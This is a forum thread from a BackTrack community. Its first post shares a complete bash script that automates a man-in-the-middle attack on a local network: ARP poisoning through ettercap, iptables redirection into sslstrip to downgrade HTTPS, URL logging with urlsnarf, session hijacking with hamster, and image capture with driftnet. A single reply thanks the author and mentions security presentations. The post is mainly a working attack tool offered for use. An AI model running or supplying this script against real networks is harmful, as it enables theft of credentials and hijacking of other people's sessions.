Results 1 to 2 of 2

Thread: Ettercap + Sslstrip + Hamster + Driftnet + Urlsnarf Script BT5 R1 :-)

  1. #1
    Just burned his ISO
    Join Date
    Nov 2011
    Posts
    2

    Default Ettercap + Sslstrip + Hamster + Driftnet + Urlsnarf Script BT5 R1 :-)

    I would like to share my first ever script with you guys. It uses: ettercap, sslstrip, urlsnarf, hamster & driftnet. I’ve tested it on BT5 R1 and it works perfectly.

    The script uses ettercap’s GUI to ARP poison, then automates the process of: forwarding ip, configuring iptables, launching sslstrip + tailing sslstrip.log, starts urlsnarf and saves captured url’s in folder you created, launches hamster for session hijacking and runs driftnet to view images.

    NOTE: etter.conf - #iptables needs to be #### out (default settings)

    When ettercap’s GUI opens ARP poision targets and sniff remote connections but don’t start sniffing! Otherwise it screw’s up sslstrip.

    Hope this helps someone out:


    #!/bin/bash

    # file and path variables
    hamsterpath="/pentest/sniffers/hamster" # hamster path

    IFACES=`ifconfig | grep ' $' | cut -d " " -f1`

    echo -n "What interface to use? ie: "$IFACES":"
    read -e IFACE
    echo -n "Name of 'Session'? (name of the folder that will be created with all the log files): "
    read -e SESSION

    mkdir /root/$SESSION/

    # ettercap
    ettercap -G &
    sleep 5

    # ip forward
    echo "[+] Turning on IP Forwarding..."
    echo 1 > /proc/sys/net/ipv4/ip_forward
    sleep 1

    # iptables
    echo "[+] Configuring iptables..."
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    sleep 1

    # sslstrip
    echo "[+] Starting sslstrip..."
    xterm -geometry 75x15+1+200 -e sslstrip -k -f -l 8080 -w /root/$SESSION/$SESSION.log &
    sleep 4

    # Tail Sslstrip
    echo "[+] Opening sslstrip.log..."
    xterm -geometry 75x15+1+200 -e tail -f /root/$SESSION/$SESSION.log &
    sleep 2

    # urlsnarf
    echo
    echo "[+] Starting Urlsnarf..."
    urlsnarf -i $IFACE | grep http > /root/$SESSION/$SESSION.txt &
    sleep 2

    # hamster
    echo
    echo "[+] Starting Hamster..."
    xterm -geometry 75x15+1+200 -e $hamsterpath/hamster &
    sleep 4

    # driftnet
    echo "[+] Starting Driftnet..."
    driftnet -p -i $IFACE &
    sleep 2

    echo
    echo "************************************************* *******"
    echo
    echo "[+] Run firefox and type http://hamster"
    echo "[+] Don't forget to set proxy to 127.0.0.1:1234"
    echo
    echo "************************************************* *******"
    echo "Press q to quit"
    read WISH

    # clean up
    if [ $WISH = "q" ] ; then
    echo
    echo "[+] Cleaning up and resetting iptables..."
    killall sslstrip
    killall ettercap
    killall urlsnarf
    killall hamster
    killall driftnet
    killall xterm

    echo "0" > /proc/sys/net/ipv4/ip_forward
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain

    echo "[+] Clean up successful...L8erz!"
    exit

    fi
    exit

  2. #2
    Good friend of the forums scottm99's Avatar
    Join Date
    Feb 2010
    Location
    underwater
    Posts
    371

    Default Re: Ettercap + Sslstrip + Hamster + Driftnet + Urlsnarf Script BT5 R1 :-)

    Thanks for sharing I think this would be especially useful for management presentations on security.
    Last edited by scottm99; 11-23-2011 at 04:56 PM.
    If I could figure out how to scuba dive & hack at the same time, there would be nothing I couldn't do...

Similar Threads

  1. Replies: 44
    Last Post: 04-08-2011, 02:30 AM
  2. Replies: 0
    Last Post: 11-28-2010, 01:31 PM
  3. cannot driftnet, ettercap, or urlsnarf!
    By xplainet in forum OLD BackTrack 4 General Support
    Replies: 1
    Last Post: 03-29-2010, 08:45 AM
  4. Tcpreplay/Driftnet/Urlsnarf not working any longer
    By seag33k in forum OLD Wireless
    Replies: 0
    Last Post: 05-02-2008, 01:14 PM
  5. Replies: 31
    Last Post: 03-25-2008, 03:03 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •